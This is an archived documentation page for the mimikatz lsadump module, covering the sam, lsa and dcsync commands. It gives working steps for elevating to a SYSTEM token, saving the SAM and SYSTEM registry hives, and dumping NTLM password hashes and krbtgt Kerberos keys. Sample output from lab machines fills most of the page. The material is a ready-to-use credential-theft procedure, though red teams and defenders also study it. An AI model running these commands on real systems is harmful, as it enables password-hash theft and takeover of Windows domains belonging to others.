module ~ lsadump

By gentilkiwi

Archived: 2026-04-05 18:27:41 UTC

> Commands: sam, secrets, cache, lsa, trust, backupkeys, rpdata, dcsync, netsync

sam

This command dumps the Security Account Managers (`SAM`) database. It contains NTLM, and sometimes LM hash, of users passwords. It can work in two modes: online (with `SYSTEM` user or token) or offline (with `SYSTEM` & `SAM` hives or backup)

online

If you're not `SYSTEM` or using an impersonated `SYSTEM` token, you'll have access denied error:

```
 mimikatz # lsadump::sam
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56
ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x00000005)
```

In this case, you can use `psexec` to begin `SYSTEM` (or other tools) or elevate with `token::elevate` command to impersonate a `SYSTEM` token:

```
 mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::whoami
 * Process Token : 623884       vm-w7-ult-x\Gentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000  (14g,24p
 * Thread Token  : no token

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : AUTORITE NT\Système

228     24215           AUTORITE NT\Système     S-1-5-18        (04g,30p)       Primary
 -> Impersonated !
 * Process Token : 623884       vm-w7-ult-x\Gentil Kiwi S-1-5-21-1982681256-1210654043-1600862990-1000  (14g,24p
 * Thread Token  : 624196       AUTORITE NT\Système     S-1-5-18        (04g,30p)       Impersonation (Delegatio

mimikatz # lsadump::sam
```

```
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56

SAMKey : e44dd440fd77ebfe800edf60c11d4abd

RID  : 000001f4 (500)
User : Administrateur
LM   :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

RID  : 000001f5 (501)
User : Invité
LM   :
NTLM :

RID  : 000003e8 (1000)
User : Gentil Kiwi
LM   :
NTLM : cc36cf7a8514893efccd332446158b1a
```

offline

You can backup `SYSTEM` & `SAM` hives with:

```
 reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
```

Or use Volume Shadow Copy / BootCD to backup these files:

```
 C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
```

Of course, you can also use files directly from another Windows location.
Then

```
 mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56

SAMKey : e44dd440fd77ebfe800edf60c11d4abd

RID  : 000001f4 (500)
User : Administrateur
LM   :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
```

```
RID  : 000001f5 (501)
User : Invité
LM   :
NTLM :

RID  : 000003e8 (1000)
User : Gentil Kiwi
LM   :
NTLM : cc36cf7a8514893efccd332446158b1a
```

secrets

cache

lsa

```
 mimikatz # lsadump::lsa /id:500
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f4 (500)
User : Administrateur
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003
```

```
 mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    LM   :
    NTLM : 310b643c5316c8c3c70a10cfb17e2e31

 * WDigest
    01  54a52c7ef73ebe90194c083129d6ac81
    02  9fa3bb508e7b3646efa65acbd22e2af9
    03  e185f5c75b64f94e5716a1e42e37794d
    04  54a52c7ef73ebe90194c083129d6ac81
    05  9fa3bb508e7b3646efa65acbd22e2af9
    06  5dd4ee69b653c5c9aad64a393b6a9700
    07  54a52c7ef73ebe90194c083129d6ac81
    08  7bedf3c0186f4af47c95724fbeed7a44
    09  7bedf3c0186f4af47c95724fbeed7a44
    10  80e30fbce1952fc7aa5778f51ffad4d8
```

```
    11  1c05ad8928e14f380db8a831c1946fe3
    12  7bedf3c0186f4af47c95724fbeed7a44
    13  c33523d429bce0c392c89ac2d301ae6c
    14  1c05ad8928e14f380db8a831c1946fe3
    15  536c8128d7cf8667164ed762ad2fb9e6
    16  536c8128d7cf8667164ed762ad2fb9e6
    17  a1c4b9e13d6679796398e4cacad0cb03
    18  3f36213dfa4ea6f9e505a60c58c6393a
    19  dfda9df26d75e40b1639cf9305937f51
    20  b469efd6b8bff67312a09918526ef080
    21  49a1ad8ee21e79f44a8033e189616981
    22  49a1ad8ee21e79f44a8033e189616981
    23  079b50c03444176568e0732db7e65b85
    24  3885d7b1fa11fd86e892e2aaab4c0aec
    25  3885d7b1fa11fd86e892e2aaab4c0aec
    26  5bd64f5d0bcca6c10ccbf2fbb5043a74
    27  9c546227d4c3bbbd4a5a6065dd7b7213
    28  e776b6660b25384f87d55cc300657d13
    29  26c87bd1a9c48e652f83431bf20227c2

 * Kerberos
    Default Salt : CHOCOLATE.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 620eb39e450e6776

 * Kerberos-Newer-Keys
    Default Salt : CHOCOLATE.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42
      aes128_hmac       (4096) : da3128afc899a298b72d365bd753dbfb
      des_cbc_md5       (4096) : 620eb39e450e6776
```

```
 mimikatz # lsadump::lsa /patch
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f4 (500)
User : Administrateur
LM   :
NTLM : cc36cf7a8514893efccd332446158b1a

RID  : 000001f5 (501)
User : Invité
LM   :
NTLM :
```

```
RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 310b643c5316c8c3c70a10cfb17e2e31

RID  : 00000452 (1106)
User : equipement
LM   :
NTLM : 57a087d98bfac9df10df27a564b77ad6

RID  : 00000453 (1107)
User : utilisateur
LM   :
NTLM : 8e3a18d453ec2450c321003772d678d5

RID  : 000003e9 (1001)
User : SRVCHARLY$
LM   :
NTLM : cfe67c8e5e5bab99b911302728152ab3

RID  : 00000450 (1104)
User : WIN81$
LM   :
NTLM : ad0344245f24e4927d9480559c7f8842

RID  : 00000451 (1105)
User : WINXP$
LM   :
NTLM : d2624e317aa4d245b7dad2942444d7f7
```

dcsync

This command uses `DRSR` protocol to ask a domain controller to synchronize a specified entry. It's the same protocol that domain controllers are using between them.

It was co-writed with Vincent LE TOUX (vincent.letoux [at] gmail.com / http://www.mysmartlogon.com)

Argument:

- `/domain` - *optional* - the FQDN of the domain you want to synchronize (default: *your current domain*)
- `/dc` - *optional* - the FQDN of the domain controller you want to synchronize (default: *autodected by the domain name*)
